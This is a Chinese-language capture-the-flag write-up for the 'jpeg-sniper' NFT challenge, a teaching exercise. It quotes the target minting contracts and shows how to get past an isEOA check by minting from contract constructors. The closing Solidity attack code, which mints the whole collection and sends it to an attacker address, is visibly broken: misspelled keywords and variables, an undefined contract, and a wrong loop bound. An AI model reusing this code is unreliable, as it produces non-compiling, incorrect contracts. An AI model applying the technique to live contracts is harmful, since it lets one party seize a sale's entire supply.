CTF-jpeg-sniper 这道题的源码在这里
题目的要求是:铸币
首先又是要理解这些代码想表达的意思
BaseLaunchpegNTF
合约,这个NTF的原型,里面实现了isEOA的修饰器,看到这个,我就想起了前几天才整理的智能合约的漏洞:如何绕过外部账户,实现用合约调用。接下来就是普通的铸币流程
function numberMinted(address _owner) public view returns (uint256) { return balanceOf(_owner); } function totalSupply() public view returns (uint256) { return _tokenId.current(); } /// 每个使用者可铸币的数量 function _mintForUser(address to, uint256 quantity) internal { for (uint256 i=0; i<quantity; i++) { _mint(to, _tokenId.current()); _tokenId.increment(); } } function _refundIfOver(uint256 _price) internal { if (msg.value < _price) { revert Launchpeg__NotEnoughFunds(msg.value); } if (msg.value > _price) { (bool success, ) = msg.sender.call{value: msg.value - _price}(""); if (!success) { revert Launchpeg__TransferFailed(); } } }
问题就是出在FlatLaunchpeg
合约中,从这个合约中我们可以看到这个publicSaleMint
函数,这是我们主要可以调用的铸币函数,一看,果然,有isEOA的修饰,难点也就是这个了,
function publicSaleMint(uint256 _quantity) external payable isEOA atPhase(Phase.PublicSale) { if (numberMinted(msg.sender) + _quantity > maxPerAddressDuringMint) { revert Launchpeg__CanNotMintThisMany(); } if (totalSupply() + _quantity > collectionSize) { revert Launchpeg__MaxSupplyReached(); } uint256 total = salePrice * _quantity; _mintForUser(msg.sender, _quantity); _refundIfOver(total); } function currentPhase() public view returns (Phase) { if ( publicSaleStartTime == 0 || block.timestamp < publicSaleStartTime ) { return Phase.NotStarted; } else { return Phase.PublicSale; } }
联想到之前整理的漏洞,想到,可以使用在攻击合约中的构造函数调用即可,为了在一个交易完成,就写了俩个合约来实现此次的攻击
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; interface IFlatLaunchpeg{ function publicSaleMint(uint256 _quantity) external payable; function transferFrom(address from, address to, uint256 tokenId) external; function totalSupply() external returns (uint256); function maxPerAddressDuringMint() external returns (uint256); function collectionSize() external returns (uint256); } constract hack1{ IFlatLaunchpeg nft; address attracker; contructor(address _nft,address _attracker){ runExploit(nft,attracker); } function runExpoit (address nft,attracker) public{ IFlatLaunchpeg nft = IFlatLaunchpeg(nftAddress); uint256 collectionSize = nft.collectionSize();//总共的NFT uint256 maxPerAddress = nft.maxPerAddressDuringMint();//每个合约地址可以铸币的最大数量 uint256 startIndex = nft.totalSupply();//已经铸币的数量,也是标识符 uint256 loops = (collectionSize-startIndex)/maxPerAddress; for (uint i = 0;i<maxPerAddress;i++){ new hack2(ntf,attracker,maxPerAddress,stratIndex); startIndex +=maxPerAddress; } //转移剩下的可以铸币的数量 uint256 mintRemainder = (collectionSize-startIndex)%maxPerAddress; if (mintRemainder > 0) new MiniJpegSniperExploiter(nft,to,mintRemainder,startIndex); } } contract hack2{ //stratIndex 是转移的代币ID,因为每个代币被铸出来,都有一个标识ID,不要误认为是转移这么多代币 constructor(IFlatLaunchpeg nft,address attracker,uint256 maxPerAddress,uint256 startIndex){ ntf.publicSaleMint(maxPerAddress); for(uint i = 0;i<per;i++){ nft.transferFrom(address(this),attracker,startIndex+i); } } }
这个题要想解决,就是要对铸币NFT有一些了解,执行攻击合约即可完成;